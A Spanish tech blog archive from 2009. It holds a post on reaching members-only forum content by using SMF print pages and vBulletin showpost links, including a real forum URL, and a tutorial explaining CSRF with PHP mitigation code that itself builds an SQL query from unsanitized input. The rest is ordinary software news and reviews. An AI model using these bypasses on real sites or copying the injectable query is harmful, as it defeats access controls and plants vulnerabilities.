Blogger x_jeshua

Bypassear la verificación de registro en foros. By InyeXion

2009-01-26T22:56:00.000-08:00

Bypassear la verificación de registro en foros.

Vieron cuando por ejemplo quieren descargar X aplicación en un foro, pero no pueden hasta que no estén registrados y te dice " Solo para usuarios registrados " o frases por el estilo, seguramente muchos salen de los foros porque no tienen ni las ganas ni el tiempo de registrarse..., estuve viendo si había en la red algún tutorial para bypassear esta verificación como no encontré ninguno estuve analizando los foros y encontré 2 maneras de bypassearlos (sin registrarte obviamente) y muy fácilmente.

1- Bypass Impresión

Este bypass se trata de simular Imprimir el tema, en muchos foros está la opción de imprimir el tema o post la cual nos permite pasar la verificación de saber si estas registrado, y permite ver el contenido completo del post sin registrarte.
Este fallo esta especialmente en todos los foros SMF ( en todas de sus versiones ) y seguramente en otros foros prefabricados...

ejemplo (foro SMF):
http://foro.xxx.com/index.php/topic,146146.0.html

Eso es un tema normal el cual si hay por ejemplo un link no te lo dejaría verlo sino estas registrado, pero si tratamos de imprimir el tema nos dejaría ver todo el contenido "oculto"...

http://foro.xxx.com/index.php?action=printpage;topic=146146.0

Como pueden observar es muy fácil pasar la verificacion, es cuestión de darle a donde dice Imprimir y leer todo el contenido...,

2- Bypass POSTCOUNT

Este bypass se trata de ver solamente el post que contiene el contenido "privado" apartado de los demás post..., se pueden fijar en algunos foros que dentro de cada tema se cuentan los posts poniendo como primer post un 1, segundo post un 2 y etc... ejemplo en los foros Vbulletin se muestra el conteo ( no es el caso de los foros SMF o hasta ahora no lo vi... ) de cada post. Hasta ahora no hay nada raro, pero en cada conteo ( ejemplo en el numero 1 ) hay un link de referencia el cual te lleva a una ventana nueva viendo solo el post que elegiste ver ( en este caso el numero 1 )
y aca esta el fallo porque en el archivo al cual se pasa el numero de tema y el numero de post no se verifica si el usuario esta registrado, por lo cual podemos ver los links/contenido que no podíamos ver sin estar registrado, esto pasa en la mayoría de foros el cual lleva el conteo de los posts...

ejemplo real (foro Vbulletin):
http://www.ps360consolasforos.es/foro/showthread.php?t=14

Podemos ver que no estamos registrado por lo cual no podemos ver los links pero como este foro tiene tal fallo podemos bypassear la verificación solo entrando al link del conteo de post (en este caso se pueden fijar que esta arriba a la derecha... #1)

http://www.ps360consolasforos.es/foro/showpost.php?p=14&postcount=1

Y ya podemos ver todos los links...

PD: No son las únicas formas que hay de bypassear esta verificación, también se puede bypassear cambiando el User-Agent... entre otras, pero bueno estas 2 formas no las vi en la red...

Saludos!!

Autor: InyeXion
Www.InyeXion.com.ar - Www.InyeXion.net

CSRF / XSRF - Cross Site Request Forgery

2009-01-22T20:02:00.000-08:00

[ + ] Información del Paper [ + ]

Cross Site Request Forgery [ CSRF / XSRF ]
Autor: SecurityKill
Fecha: 03/4/2008
Contacto: SecurityKill [ at ] gmail [ dot ] com

======================================

[ + ] Indice [ + ]

= > 0x001 < = => Introducción
= > 0x002 < = => Como funciona el CSRF / Pequeño ejemplo
= > 0x003 < = => Codeando una Aplicación Vulnerable
= > 0x004 < = => Evitando el CSRF
= > 0x005 < = => Despedida

======================================

[ + ] Introducción [ + ]

Bueno, en este paper vamos a hablar sobre lo que es CSRF / XSRF [ Cross Site Request Forgery ] .

Intentare explicar todo lo posible sobre esta vulnerabilidad y lo mas importante .. Como prevenir
estos ataques.

Empezemos .. =)

======================================

[ + ] Como funciona el CSRF [ + ]

Bueno, en el CSRF el atacante trata de " Forzar " algún codigo malicioso aprovechandose de una sesión
abierta o no caducada de la victima para asi lograr que la victima haga lo que nosotros queramos.

[ + ] Pequeño Ejemplo [ + ]

Bueno, digamos que estamos logueados en un foro .. y un usuario nos manda un mensaje privado diciendonos algo como :

" Hola, mira que buen tutorial de C++ .. [ Clic Aqui < = URL Maliciosa ] "

Y digamos que cuando el usuario clickee en el link lo va llevar a una pagina mas o menos como esta:

http://site.com/foro/index.php?action=logout

Esto cerraría la sesión del usuario .. pero que pasaría si en vez de cerrar la sesión del usuario pudieramos cambiar alguno de sus datos como su email / password ..

======================================

[ + ] Codeando una aplicación Vulnerable [ + ]

Esta aplicación será una cuenta .. Digamos que es un hosting de imagenes llamado " MyHosting " ... Y si queremos cambiar nuestros datos ( Email / password, etc ) .. Tenemos un formulario como el siguiente:

// Index.php

Código:

     

          Usuario 

          Email 

          Contraseña 

          Email alternativo:

// Fin Index.php

===========================================

// Datos.php

Código:

     session_start();

     if(isset($_REQUEST['usuario']))

          $usuario = $_REQUEST['usuario'];

     else

          die("Rellene el campo Usuario");

     if(isset($_REQUEST['email']))

          $email = $_REQUEST['email];

     else

          die("Rellene el campo email");

     if(isset($_REQUEST['contraseña']))

          $contraseña = $_REQUEST['contraseña];

     else

          die("Rellene el campo Contraseña");

     if(isset($_REQUEST['emailalternativo']))

          $emailalternativo = $_REQUEST['emailalternativo];

     else

          die("Falta el email alternativo");



// Digamos que esta funcion llamada CambiarDatos

// es la que actualiza los datos de nuestra querida cuenta premium en MyHosting



    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

    

     ?>

Entonces, a la hora de cambiar nuestros datos .. tendriamos una url mas o menos como esta:

http://http://myhosting.com/Datos.php.php?usuario=SecurityKill&email=mymail@gmail.com&
contraseña=mypass123&emailalternativo=mymail2@gmail.com

Entonces, aqui esta el peligro ... Que pasa si estamos logueados en la página .. y un usuario nos manda un link y lo vemos .. que contiene un codigo como este:

Código:

Hi

Si el usuario estuviera logueado en Myhosting.com y la victima viera esta página .. ¿Que pasaría? Se enviaría una petición HTTP a MyHosting y se cambiarían los datos del usuario ..

===========================================

[ + ] Evitando el CSRF [ + ]

Bueno, vamos a usar como ejemplo MyHosting ..

Tenemos el index.php ( Le he añadido un campo llamado "actualcontraseña " )

Código:


     

          Usuario 

          Email 

          Contraseña 

          Email alternativo: 

	  Contraseña Actual:

Un archivo llamado " config.php " que va a conectar a la bd:

Código:



$bd_host = "localhost";

$bd_usuario = "user";

$bd_password = "pass";

$bd_base = "bd";



$con = mysql_connect($bd_host, $bd_usuario, $bd_password); mysql_select_db($bd_base, $con);



?>

Y El archivo " datos.php " pero .. modificado:

Código:



include('config.php');



     session_start();

     if(isset($_REQUEST['usuario']))

          $usuario = $_REQUEST['usuario'];

     else

          die("Rellene el campo Usuario");

     if(isset($_REQUEST['email']))

          $email = $_REQUEST['email];

     else

          die("Rellene el campo email");

     if(isset($_REQUEST['contraseña']))

          $contraseña = $_REQUEST['contraseña];

     else

          die("Rellene el campo Contraseña");

     if(isset($_REQUEST['emailalternativo']))

          $emailalternativo = $_REQUEST['emailalternativo];

     else

          die("Falta el email alternativo");

    if(isset($_REQUEST['actualcontraseña']))

          $actualcontraseña = $_REQUEST['actualcontraseña];

     else

          die("Especifique la contraseña");



if ($actualcontraseña==NULL) {

echo "Especifique su contraseña Actual";



}else{



$query = mysql_query("SELECT usuario,actualcontraseña FROM myhosting_usuarios WHERE username = '$usuario'") or die(mysql_error());

$data = mysql_fetch_array($query);

if($data['contraseñaa'] != $actualcontraseña) {

echo "Contraseña Actual Inavalida";

}else{



    CambiarDatos($usuario, $email, $contraseña, $emailalternativo);

    

     ?>

Lo que hariamos en este caso sería seleccionar Desde la BD la contraseña actual en la tabla myhosting_usuarios desde el campo " contraseñaa " si es diferente .. No se cambian los datos, si la contraseña coincide .. se realiza la operación .. en este caso .. hacer un update a la tabla " myhosting_usuarios " cambiando los datos del user.

Obviamente si quieren probar code en localhost van a tener que crear una bd y modificar
la función que cambia los datos del user ...

Pueden usar esta consulta SQL ..

Código:

CREATE TABLE `myhosting_usuarios` (

  `id` int(11) NOT NULL auto_increment,

  `usuario` varchar(15) NOT NULL,

  `email` varchar(15) NOT NULL,

  `emailalternativo` varchar(15) NOT NULL,

  `contraseña` varchar(150) NOT NULL,

  `contraseñaa` varchar(150) NOT NULL,

  KEY `id` (`id`)

) ENGINE=MyISAM;



INSERT INTO `myhosting_usuarios` VALUES (1, 'SecurityKill', 'mymail@gmail.com', 'mymail2@gmail.com', 'mypass', 'mypass');

Otra forma de prevenir estos ataques .. sería usando CAPTCHA .. Aqui un codigo:

Código:

/***************************************************************************

*

* Filename : image.php

* Began : 2005/04/04

* Modified :

* Copyright : (c) 2005 xkare.com

* Version : 1.0

* Written by : Mert ÖÐÜT in istanbul / TURKEY

*

* You are encouraged to redistribute and / or modify this program under the terms of

* the GNU General Public License as published by the Free Software Foundation

* (www.fsf.org); any version as from version 2 of the License.

*

***************************************************************************/

session_start();

function strrand($length)

{

$str = "";



while(strlen($str)<$length){

$random=rand(48,122);

if( ($random>47 && $random<58) ){

$str.=chr($random);

}



}



return $str;

}



$text = $_SESSION['string']=strrand(5);

$img_number = imagecreate(47,17);

$backcolor = imagecolorallocate($img_number,244,244,244);

$textcolor = imagecolorallocate($img_number,0,0,0);



imagefill($img_number,0,0,$backcolor);



imagestring($img_number,50,1,1,$text,$textcolor);



header("Content-type: image/png");

imagejpeg($img_number);

?>

Creamos un campo de texto llamado code

Código:

Y Comprobamos que el codigo sea valido ..

Código:

if($_POST['code']!=$_SESSION['string']){

echo "Error en el codigo de seguridad "; exit();

}

===========================================

[ + ] Despedida [ + ]

Bueno, espero que les haya servido este paper sobre CSRF =)

Si van a publicarlo en otro foro / blog pongan la fuente y autor =)

Saludos, SecurityKill

Windows 7 beta: ya ofrecen números de serie

2009-01-14T17:17:00.000-08:00

Dado el interés que está levantando en todo el mundo la descarga de Windows 7 en versión beta los servidores de Microsoft no han aguantado, como nos contaba Víctor, dándonos algunos trucos para su descarga.

El problema estaba en que a pesar de conseguir descargar las ISOs, sin el número de serie estas servían de poco. Parece que en Microsoft están haciendo horas extras y han cambiado el sistema de ofrecer las claves, que inicialmente se mandaban por correo electrónico.

Desde la misma página que anteriormente, ahora Microsoft ha vuelto a ofrecer acceso para la descarga, así que toca darse prisa, por si vuelve a saturarse de nuevo. Una vez seleccionada en la parte inferior la versión que queremos descargar, deberemos identificarnos en Live ID y entonces nos ofrecerá un número de serie junto al enlace para la descarga. En caso de que no consigáis que funcione este enlace, como me ha pasado a mí, podéis usar los que ha indicado Víctor en el post.

Gracias a Borja por el aviso.

Más información | Windows 7 descarga.

Música gratis al instante con Spotify

2009-01-14T17:16:00.001-08:00

Spotify es una aplicación disponible para Windows y Mac que nos permitirá escuchar la música que queramos al instante. Y hablo de canciones concretas y completas. Imaginaos todo el catálogo de iTunes para escuchar al 100% en streaming unido a los algoritmos de descubrimiento de artistas de last.fm. Eso es Spotify.

Querido Steve, ¿cuánto crees que costaría un servicio así? Agárrate a la silla porque la versión principal es gratuita, con el único inconveniente de tener publicidad sonora cada cierto tiempo y seguramente publicidad visual en un futuro próximo. Por ahora está muy espaciada (¡aún no he escuchado ninguno!), mucho más que en una radio tradicional, y solo un anuncio cada vez. Si quieres deshacerte de los anuncios, puedes pasarte a la versión de pago y contratar un día por un euro o un mes por diez euros. Vayamos a sus puntos fuertes:

El catálogo. EMI, Universal, Sony BMG, Warner Music; las cuatro grandes discografías y otras más pequeñas han dejado su catálogo disponible, y no solo de música anglosajona, sino también de artistas españoles y de todo el mundo. Además está bien organizado, con páginas para grupos, álbumes, recopilatorios, etc… Una gozada.

La búsqueda. Es muy buena, prácticamente igual de eficiente que la de iTunes. Gracias a ella el catálogo se puede disfrutar mucho mejor. Aunque no se vea a simple vista, podemos filtrar por género, año, artista…

Las listas de reproducción. Si nos cansamos de buscar una por una, podemos crear listas de reproducción con las canciones o álbumes que queramos. No con los artistas parecidos o la música similar, con las canciones exactas que le digamos. Esto, que es lo normal en un reproductor de escritorio, me parece increíble en una radio online.

Las emisoras automáticas. Igualmente, genial para cuando queramos escuchar algo rápido y sin pensar, aunque esta característica no sorprende tanto por estar disponible en casi todas las radios online. De una forma muy parecida a last.fm y a rockola.fm, podemos generar una emisora automáticamente limitando por las décadas o por el estilo de música. También podemos generar una emisora a partir de un artista

Las funciones sociales. Si lo configuras en las preferencias, puede enviar las canciones que reproduzcas a tu perfil de last.fm. También incluye biografías de los artistas, por si te aburres. Y en la pantalla inicial podrás ver los artistas que puede que te gusten, junto a varios Top Ten de las canciones/álbums/artistas más reproducidos.

Controlar la reproducción. Parece una tontería, pero ninguna radio online permite pausar las canciones y avanzar o retroceder la reproducción hasta el segundo que queramos.

La interfaz. Es preciosa, es simple, es directa, es funcional. Qué más se le puede pedir.

El rendimiento. No sé si es porque hasta hace poco se debería entrar por invitación o por estar limitado a ciertos países, pero no he notado ningún corte en la reproducción, todo va muy muy suave, casi tan rápido que da cosica. Y sin consumir demasiados recursos, algo que no sorprende si os digo que uno de los creadores es el desarrollador de µTorrent.

La calidad. Aquí entramos en valoraciones personales, pero es cierto que pocas radios online ofrecen su repertorio como Spotify, que se estima comparable a un MP3 codificado a 160kbps constantes. Por supuesto, soportes físicos y otras tiendas de pago ofrecen mejor calidad, pero recordad que estamos hablando de un servicio gratuito.

Su cuidado detalle. No solo por su interfaz, sino por cosas como que funcionen los accesos directos del teclado para controlar la reproducción (al menos en Mac).

Y sus puntos flojos:

Que solo esté disponible para Windows y Mac. Por un lado deberían portarlo también a Linux, aunque te den las instrucciones para ejecutarlo bajo Wine. Por el otro… ¡versión para moviles, por favor! Con las tarifas de datos que se avecinan y con la cantidad de móviles que tendrán Wifi, Spotify sería el compañero ideal. Radios tradicionales basadas en música lo tendrían complicado para competir.

No sé cuánta gente estaría dispuesta a pagar la versión de pago solo por quitar los anuncios. Quizás deberían añadir una versión premium en la que se pagaría por bajarse las canciones, pero teniendo en cuenta que están muy enfocados en la nube, no creo que lo hagan.

Que solo esté en inglés. Como digo, la música está en decenas de idiomas incluido el castellano, pero la aplicación en sí aún no está traducida.

Que no se puedan calificar las canciones. Aunque no sé si es bueno o es malo, es una carencia.

Que por ahora solo pueda ser usado en Europa, concretamente en España, Reino Unido, Francia, Suecia, Finlandia y Noruega.

Si te he convencido, créate una cuenta gratuita y bájate la versión para tu Sistema Operativo. Si no te he convencido, disculpa mi torpeza como comercial amateur, créate una cuenta gratuita, bájate la versión para tu Sistema Operativo y disfruta del futuro de la música.

Ubuntu, mejor sistema operativo del 2008 según nuestros lectores

2009-01-14T17:15:00.002-08:00

Si nos ponemos a hablar sobre sistemas operativos, seguro que la discusión acaba alargándose y haciéndose algo tensa entre partidarios y detractores de cada uno de ellos. Y es que la elección de un sistema operativo es, a veces, una cuestión casi religiosa y resulta casi imposible llegar a argumentos consensuados.

Es por ello que queríamos ver cual era el mejor sistema operativo del 2008 según nuestros lectores, galardón que finalmente ha recaído en Ubuntu 8.04, la distribución de Linux que se ha hecho más popular en los últimos tiempos, y no sin razón.

Cuando muchos seguían pensando que Linux no estaba hecho para el gran público, llegó Ubuntu y demostró todo lo contrario, ofreciendo un sistema sencillo de instalar y de utilizar, con muy buena compatibilidad de hardware y una cantidad de aplicaciones disponibles muy alta.

Todo ello gracias, claro está, a su base Debian, sobre la que se han ido desarrollando las posteriores versiones, pero que hizo que ya empezara pisando terreno firme. Y las empresas ya empiezan a tenerlo en cuenta, pues algunos fabricantes ya lo incluyen con sus ordenadores, como es el caso del Dell Mini 9.

Por detrás de Ubuntu ha quedado Windows XP SP3, un sistema operativo que, a pesar de tener ya un montón de años y disponer de una nueva versión en Vista, todavía no ha podido ser superado por este. Y es que Vista no ha conseguido calar entre el público.

Además, Windows XP con su último Service Pack se ha convertido en un sistema bastante robusto y estable, con un interfaz al que sus usuarios están totalmente adaptados y que se encuentra disponible en prácticamente cualquier ordenador, a pesar de que Microsoft esté intentando sustituirlo finalizando su vida útil.

Este último año, Windows XP ha visto como sus ventas crecían de nuevo gracias a la fiebre de los ultraportátiles, los cuales no tienen suficiente potencia para ejecutar Vista. Y aunque estos empezaron viniendo con alguna distribución de Linux, finalmente ha sido Xp el que se ha llevado el gato al agua en este terreno.

De todos modos, las licencias que ofrece Microsoft para estos ordenadores los limitan seriamente, pues impiden que vengan con más de 1 Gb de RAM o con un disco duro de más de 160 GB, lo que está llevando a algunos fabricantes a ofrecer los modelos de más alta gama solo con Linux.

En tercera posición, seguido de bastante cerca por el cuarto, nos encontramos con Mac OS X 10.5.6. Poco que decir de él, pues el que lo ha probado ya conoce sus ventajas e inconvenientes. Además, su uso está ligado a los ordenadores fabricados por Apple (aunque siempre hay trucos para instalarlo en otros). Y aunque las primeras versiones de la 10.5 flaquearon en algunos puntos, con las sucesivas actualizaciones ha conseguido asentarse y lograr ese tercer puesto.

Por debajo suyo tenemos al “maldito”, Windows Vista. Y digo lo de maldito no porque le tenga manía, sino porque a pesar de los esfuerzos de Microsoft no ha conseguido una penetración en el mercado como se esperaba. Los fallos de sus primeras versiones, un cambio radical en el interfaz y la forma de trabajar, las molestias del UAC,... son algunos de los factores que han hecho que no se ganara la simpatía de muchos usuarios.

La verdad es que los resultados que me gustará ver son los de las votaciones del próximo año, en los cuales seguro que podremos ver en la cumbre a Windows 7, Mac OS X Snow Leopard y las nuevas versiones de Ubuntu. La competición va a estar más que reñida.

HeadMouse 2, controla el ratón con la webcam

2009-01-14T17:15:00.001-08:00

Ya habíamos visto alguna opción para controlar nuestro ordenador con la webcam, y HeadMouse 2 nos ofrece otra alternativa para ello, desarrollada además en España, en concreto en la Universidad de Lleida.

Esta aplicación, que está diseñada para personas con discapacidades motrices, nos permite controlar el ratón sin necesidad de usar este, solamente con gestos realizados con la cabeza. Así, solo debemos girarla ligeramente hacia donde queremos mover el puntero para hacerlo.

Los clicks del ratón se pueden activar mediante un parpadeo, abriendo y cerrando la boca o de forma automática si no movemos el cursor en 1.5 segundos. Todo ello con una simple cámara web, que al menos debe ofrecer una resolución de 640 × 480 píxeles.

HeadMouse 2 no es una aplicación para el público general, pero para un grupo de usuarios puede ser la única manera de interactuar con su ordenador.

Vía | gHacks.

Windows 7: Segundas impresiones

2009-01-14T17:08:00.000-08:00

Sigo la entrada anterior, después de un breve descanso, comentando mis primeras impresiones sobre Windows 7. Os recuerdo que es un artículo de opinión basado en mi experiencia durante estos días, no es una noticia ni una verdad universal, así que son bienvenidos vuestros comentarios comentando vuestras experiencias.

Si antes comentaba las mejoras en aplicaciones como Wordpad, me parece que la aplicación que más ha ganado es Windows Media Player. Aunque en modo librería sigue siendo más o menos lo mismo, han implementado un modo sencillo para cuando queremos simplemente reproducir un archivo, muy parecido al WMP clásico. Funciona bastante bien y consume relativamente poco, ya que no carga toda la librería. También se han incluido muchos códecs por defecto, por lo que podremos reproducir MP3, MP4, h.264, MKV y otros contenedores/códecs sin problema.

Aunque, siendo sincero, probé reproducir un vídeo codificado en DiVX y no consiguió reproducirlo, así que no estoy seguro de a qué se referían cuando dijeron que WMP 12 soporta DiVX sin instalaciones adicionales. En el tema de los formatos, otro gran fallo es que no puedes abrir un PDF sin instalar un visor de terceros, y en cambio disponemos de una aplicación para visualizar archivos en XPS, el formato rival que Microsoft se sacó de la manga. No sé si se debe a formatos de licencias o es una decisión para fomentar XPS, pero es incomprensible que cualquier SO puede abrir PDFs de fábrica menos Windows.

Sobre Windows Explorer, casi no tengo nada que comentar, básicamente es igual al de Vista pero algo más simple. Está bien que se pueda personalizar, pero sigo encontrando poco elegante esparcir iconos y enlaces por toda la ventana. A pesar de ello, la búsqueda me sigue pareciendo correcta y me parece bien que se integre en todo el sistema. Sobre todo por el menú de inicio y el panel de control, ya que si intentamos llegar a algún sitio con el ratón los caminos que hay que seguir son muy largos y casi hay que aprenderlos de memoria, como en Vista.

El navegador de Internet predilecto de Windows, aunque aún no tenga novedades respecto a Vista, sigue siendo igual de excelente que siempre, con miles de extensiones compatibles y una buena integración con el sistema. Por supuesto me refiero a Firefox. Lamentablemente no he podido probar una de las grandes novedades referentes a la compartición de archivos en red, Homegroup, porque se necesitan varios PCs con Windows 7 en la misma red.

Respecto al resto del escritorio y las demás aplicaciones por defecto, poco que comentar, todo bastante parecido a Vista. Destacar el tiempo de instalación, que en mi caso tardó alrededor de 20 minutos (tres reinicios), y el tiempo de inicio, que anda por los 30 segundos (lejos de los prometidos 15 segundos, los 3 segundos de Vista o los también prometidos instantes). También un nuevo panel que salta al cerrarse inesperadamente una aplicación, que ahora no parece hacer nada más que perder el tiempo pero que se espera que en un futuro próximo implementen una especie de rollback que permita deshacer la última acción infructuosa, interesante.

Ah, los gadgets pierden algo de protagonismo al no aparecer por defecto y son libres de corretear por el escritorio. Y una nueva aplicación para escribir notas rápidas a modo post-it. Y Powershell, una utilidad para escribir scripts y automatizar tareas, que junto a los dos o tres monitores del sistema que han implementado, parece ser un guiño a los usuarios avanzados. Y una aplicación para administrar nuestros juegos.

En resumen, Windows 7 es un paso adelante, mejorando casi cualquier aspecto de Vista, y en mi opinión, superando en casi todo a Windows XP, incluso en rendimiento. Sin embargo me sigue pareciendo mucho menos completo que cualquier SO de la competencia, con muchas carencias que obligatoriamente nos derivarán a productos de terceras empresas. Sobre todo no entiendo el por qué de sacar aplicaciones y meterlas en el paquete gratuito Windows Live Essentials: si son esenciales, inclúyelas en Windows, no tienes nada que perder.

Tras todo esto, aún no he contestado a la pregunta de por qué me parece agridulce, si parece que Microsoft está acertando en su estrategia. Como usuario de Windows ocasional (por curiosidad y por obligación, me temo), me pongo en la piel de los que tuvieron que aguantar Vista como equipo principal. Si al mes no se volvieron a XP, habrán comprobado que el desesperante Vista ha ido mejorando, puliéndose en muchos aspectos hasta convertirse en un SO bastante competente. Pero, ¿a costa de qué?

Viendo Windows 7 y analizándolo con perspectiva, ese usuario tendrá la sensación de que Microsoft le ha utilizado como conejillo de indias, como Beta Tester. Pero con un producto pagado religiosamente por el usuario y con la etiqueta de acabado, cuando no era así. ¿Cómo recibirán esos usuarios la llegada del verdadero producto acabado, de Windows 7?

Todo depende de la política que siga Microsoft, sobre todo de las facilidades que dé a los usuarios de Vista a actualizarse. Diría que va a ser recibido medianamente bien por los usuarios, pero creo que soy bastante malo prediciendo el éxito de Windows. Hace dos años predije que hoy en día Vista tendría, a pesar de todos los fallos, el 50% de cuota global de mercado, y por ahora solo sobrepasa ligeramente el 20%... Quizás 2009 sea igual de bueno que 2008 y 2007 para probar otras alternativas a Windows, ya sea a manos de una manzana mordida o de un simpático pingüino.

Windows 7: Primeras impresiones

2009-01-14T17:07:00.000-08:00

Windows 7: Primeras impresiones

Víctor Pimentel 13 de enero de 2009 51 comentarios

Como sabéis, en Genbeta estamos realizando un especial seguimiento a Windows 7, el nuevo sistema operativo de Microsoft, que se ha presentado esta semana en su primera Beta pública. Tras usarlo durante más de dos semanas, toca plasmar mis primeras impresiones. Coincido en mayor medida con muchos de los que lo habéis usado, y si tuviera que resumirlo en una frase sería: Windows 7 deja un sabor agridulce.

¿Por qué agridulce? Desde mi punto de vista, Windows 7 es probablemente el mejor SO que ha sacado Microsoft en este joven siglo XXI, pero la trayectoria del desarrollo reciente de Windows empaña mucho su salida. Sí, me refiero a Vista. No estoy de acuerdo con aquellos que dicen que Windows 7 es Vista SP3, ni mucho menos. Para mí es más retorcido: Windows Vista es Windows 7 Alpha.

Si remontamos un par de años, la segunda Beta de Windows Vista no trajo muy buenas críticas. De hecho fueron penosas. Cambios drásticos como la inclusión del simpático UAC o los altos requerimientos del SO dispares con el Hardware de la época fueron agrandados por el hecho de que mucha gente llevaba con su Windows XP cuatro o cinco años. Usuarios cómodos y acomodados con su SO, vieron en Vista solamente problemas de compatibilidad y apenas ventajas útiles.

Windows 7 viene con todo ese trabajo hecho: los cambios más drásticos en la interfaz han sido asimilados, los requerimientos son los mismos de Vista y la compatibilidad Hardware es algo mejor. Incluso se han atrevido a incluir algunas novedades pensando en las interfaces táctiles, como la superbarra, que puede gustarnos o no, pero parece una evolución lógica.

Yendo por puntos, la interfaz ha sido retocada en muchas partes, si bien el aspecto visual y casi todos los elementos son calcados a Vista. Revisando uno por uno, no encuentro un solo retoque que no sea un paso adelante, una pequeña mejora que facilite al usuario las tareas cotidianas. Frente al excesivo protagonismo de Flip3D en Vista como supuesto avance, en Windows 7 se han integrado efectos como mucho más útiles e igual de espectaculares, como los efectos al seleccionar una miniatura o la posibilidad de maximizar las ventanas a espacios prefijados.

Desde el punto de vista del rendimiento, Windows 7 es un SO para los ordenadores actuales. También para los de hace dos, tres o cuatro años, punto importante. En nuestro PC de sobremesa o portátil irá correctamente, aunque no lo hayamos comprado hoy. Quizás el aspecto negativo sea el consumo de RAM, pero con los precios actuales de la misma, que están por los suelos, no veo por qué no gastarse 30 euros en ampliar la memoria hasta el máximo que podamos.

El hueco más importante que preveo son los ultraportátiles. La mayoría de los que están vendiendo hoy no podrán ejecutar Windows 7. Y con el giga de RAM que ofrecen en las versiones más completas, Windows 7 tampoco será usable. Seguro que en un año la norma será venderlos como poco con dos gigas, pero con el rápido ascenso de estos equipos dejará a una buena parte de usuarios con Linux o Windows XP.

En contraste, el otro gran boom en 2008/2009 son las interfaces para pantallas táctiles, y en este campo sí que se sitúa Microsoft como una alternativa sólida. Novedades como la ya citada superbarra, otras mejoras pensadas para gestos, una API específica y aplicaciones como el teclado en pantalla, dejan a Windows 7 preparado tanto para el ratón como para el dedo. Ya veremos si consiguen triunfar esas interfaces, personalmente me encantan pero es cierto que en una pantalla grande es muy cansado e ineficiente levantar el brazo.

Otro tema crucial es la compatibilidad, y en mi experiencia no he tenido demasiados problemas, prácticamente ninguno relacionado con mi Hardware. Eso sí, no es perfecta: varias aplicaciones las he tenido que instalar en modo emulación (de Vista/XP) y otras se niegan a ejecutarse. Por ejemplo, he intentado instalar Songsmith, aplicación que Microsoft ha sacado esta semana, ¡y no he podido!

Este punto es normal en un nuevo SO, pero otra vez comprobamos cómo vemos con otros ojos a Windows 7 de los que vimos a Vista. Y, probablemente, los problemas sean muy parecidos. Pero nuestra percepción es completamente diferente porque el resto del sistema funciona mucho mejor. Y no hay que olvidar que todavía es una Beta y tienen tiempo para mejorar.

Sobre las funcionalidades concretas, hay varias reseñables. En primer lugar las notificaciones del sistema han sido reunidas en el llamado Centro de Acciones. No soy muy fan de que el sistema me avise de cada acción que hace, y menos si son tres veces seguidas cada vez que conecto mi pendrive USB. Sin embargo, a los usuarios de Windows les parecerá un avance, ya que desde ese Centro podemos habilitar o deshabilitar ciertas notificaciones del sistema. Como tampoco soy muy fan de que haya quinientos iconos en el área de notificaciones, que por defecto no se muestren aplicaciones de terceros me parece un acierto, ya que hay muchas aplicaciones que abusan de ella.

Tras 15 años sin cambios, por fin la calculadora, Paint y WordPad han recibido sus correspondientes actualizaciones, integrando el Ribbon de Office. Como sabemos, el equipo de Office ha tenido más protagonismo en el desarrollo de Windows y es de agradecer. Personalmente no creo que Paint gane con esta interfaz, pero el cambio en Wordpad es a mejor. Hablando de Paint, no entiendo cómo es imposible redimensionar una imagen a un número de pixeles exactos… Por supuesto, todo cambio es bienvenido en estas áreas intocables desde hace años. Esperemos que el siguiente en la lista sea el bloc de notas y que al menos implementen dentro de poco varios niveles de Control+Z, lo que más me molesta cuando tengo que usarlo.

Actualización: La segunda parte ya está publicada, comentando el resto de novedades y las conclusiones.

Docky: la innovadora transformación de Gnome Do en un dock impresionante (Screencast)

2009-01-14T17:03:00.000-08:00

Gnome Do es un proyecto del que ya hemos hablado en alguna ocasión en Genbeta, un hermoso, rápido y eficaz lanzador de aplicaciones integrado en el escritorio Gnome. Poco a poco, gracias a la gran actividad de su equipo de desarrollo, Gnome Do se ha ido adaptando e incorporando mejoras que lo hacen muy potente, funcional y robusto.

Ahora los desarrolladores de Gnome Do intentan darle una vuelta de tuerca más al concepto de los lanzadores incorporando una nueva idea que han llamado Docky. Se trata “simplemente” de un nuevo tema que provee una forma innovadora de ejecutar aplicaciones y mantener un dock de iconos lanzadores. Como dicen en The fledging user, la revolución en el mundo de los docks es la nueva versión de Gnome Do.

El funcionamiento de Docky es innovador, pero sencillo: una vez activado el tema desde las preferencias de Gnome Do, directamente aparecerá un dock en la parte inferior de la pantalla. En él habrá varios iconos lanzadores seleccionados aleatoriamente de entre todas las aplicaciones instaladas en el sistema.

El primero de los iconos empezando por la izquierda se llama “Summon Gnome Do“ y es la nueva forma de ejecutar el lanzador de aplicaciones a golpe de click de ratón. Haciendo click derecho sobre ese icono se accede a las preferencias del dock, que son:

Autoesconderse (reaparece al pasar el ratón por la zona inferior o cuando se pulsa la combinación de teclas)
Efecto zoom sobre los iconos del dock.
Mostrar un lanzador para la papelera.

Activar/desactivar los indicadores especiales.

Como todo buen dock convencional, se pueden arrastrar aplicaciones sobre Docky para crear lanzadores fijos, así como reordenar los que ya aparecen o eliminarlos arrastrándolos afuera. En la parte derecha, ligeramente separada, se muestran los iconos de las aplicaciones que están abiertas en ese momento. Haciendo click derecho sobre cualquiera de ellos se accede a la lista completa de acciones que pueden ejecutarse sobre dicha aplicación, además de sus ventanas abiertas, que permite minimizarlas/restaurarlas/cerrarlas todas a la vez.

El dock tiene exactamente las mismas capacidades que Gnome Do. No hay que olvidar que está desarrollado como un tema del propio lanzador, por lo que también se pueden activar plugins para mejorar su comportamiento: publicar en Twitter, realizar acciones de Nautilus, buscar música o archivos, acceder a los correos de Evolution, favoritos de Firefox, cuenta de Flickr… Por el momento los plugins no funcionan del todo bien, pero no tardarán en estar plenamente funcionales.

Docky es una especie de barra “inteligente”, los lanzadores que aparecen cambian a medida que el usuario va usándolo, consiguiendo que se vean siempre primero los iconos correspondientes a los programas preferidos por el usuario, los que utiliza habitualmente.

El número de iconos que aparecen se ajusta modificando el tamaño del dock, lo cual puede hacerse fácilmente con el puntero del ratón y arrastrando los bordes hacia los lados. Cuando un lanzador se elimina, se sustituye por el siguiente candidato. Por supuesto, también está permitido añadir lanzadores fijos cuando se realiza una búsqueda, haciendo click en el símbolo + que aparece en la esquina inferior izquierda.

